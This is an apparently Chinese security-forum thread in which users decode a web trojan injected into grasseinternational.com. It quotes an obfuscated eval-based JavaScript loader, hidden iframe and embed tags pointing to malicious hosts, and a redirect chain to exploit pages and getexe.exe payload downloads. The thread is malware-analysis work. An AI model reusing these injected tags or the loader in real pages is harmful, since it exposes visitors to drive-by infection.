[解密悬赏][第30期][grasseinternational.com]

shadowmin

为什么我的
http://lsiu.info/evo/count.php?o=5
得到内容只有这么点，折腾了好久也没折腾出来

<script>var mlll=Array(63/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/55/**/,/**/51/**/,/**/59/**/,/**/58/**/,/**/24/**/,/**/33/**/,/**/50/**/,/**/30/**/,/**/1/**/,/**/29/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/10/**/,/**/48/**/,/**/17/**/,/**/8/**/,/**/49/**/,/**/7/**/,/**/36/**/,/**/39/**/,/**/38/**/,/**/2/**/,/**/31/**/,/**/41/**/,/**/3/**/,/**/0/**/,/**/16/**/,/**/19/**/,/**/32/**/,/**/37/**/,/**/21/**/,/**/34/**/,/**/53/**/,/**/54/**/,/**/61/**/,/**/12/**/,/**/52/**/,/**/13/**/,/**/11/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/0/**/,/**/5/**/,/**/43/**/,/**/46/**/,/**/27/**/,/**/23/**/,/**/42/**/,/**/22/**/,/**/18/**/,/**/35/**/,/**/20/**/,/**/9/**/,/**/26/**/,/**/45/**/,/**/15/**/,/**/56/**/,/**/60/**/,/**/4/**/,/**/47/**/,/**/28/**/,/**/14/**/,/**/57/**/,/**/25/**/,/**/62/**/,/**/40/**/,/**/44/**/,/**/6);var yjgdf="";var jgqy=0,ecbxgjd,xeri,onnk='',lvoww=pknekt=hfxn=0;for(xeri=0;xeri>0;xeri--){for(ecbxgjd=Math.min(jgqy,1024);ecbxgjd>0;ecbxgjd--,jgqy--){hfxn|=(mlll[yjgdf.charCodeAt(lvoww++)-33])<<pknekt;if(pknekt){onnk+=eval('String.fromCharCode(110^hfxn&255)');hfxn>>=8;pknekt-=2}else pknekt=6;}}eval(onnk);</script>

IllusionWing

那个执行完毕之后的onnk就是代码

shadowmin

缺了很多东西，执行完后是空的。

IllusionWing

我记得不缺阿…难道你那儿的javascript引擎有毛病？

Sherry.ai

AntiPlus

雨宫优子

<iframe name=c18 src='http://homesy.net/mu/index.php?198120c3bc6fb3626' width=762 height=26 style='visibility:hidden'></iframe>
-http://homesy.net/mu/load.php(Opera漏洞下载病毒)
-<embed src='http://homesy.net/mu/include/spl.php?do=foxit' width=1 height=0 style=display:none></embed>
--http://homesy.net/mu/include/spl.php?do=foxit
---http://homesy.net/mu/load.php
<iframe name=c27 src='http://extraspray.com/in.php?73947866cc11' width=157 height=471 style='visibility:hidden'></iframe>
-http://lsiu.info/evo/count.php?o=7
--http://lsiu.info/evo/getexe.exe?o=7&t=1243254300&i=2095201843&e=
--http://lsiu.info/evo/exploits/x19.php?o=7&t=1243254300&i=2095201843
---http://lsiu.info/evo/getexe.exe?o=7&t=1243254300&i=2095201843&e=18
--http://lsiu.info/evo/count.php?o=5
---http://lsiu.info/evo/getexe.exe?o=5&t=1243255356&i=2095201843&e=
---http://lsiu.info/evo/exploits/x19.php?o=5&t=1243255356&i=2095201843
----http://lsiu.info/evo/getexe.exe?o=5&t=1243255356&i=2095201843&e=19
<iframe name=c8 src='http://webcom-software.ws/links/?331932e9814ce' width=556 height=597 style='visibility:hidden'></iframe>
大约就这样了~~

e54hacker

貌似这个网马可以检测到来路的网址和搜索引擎!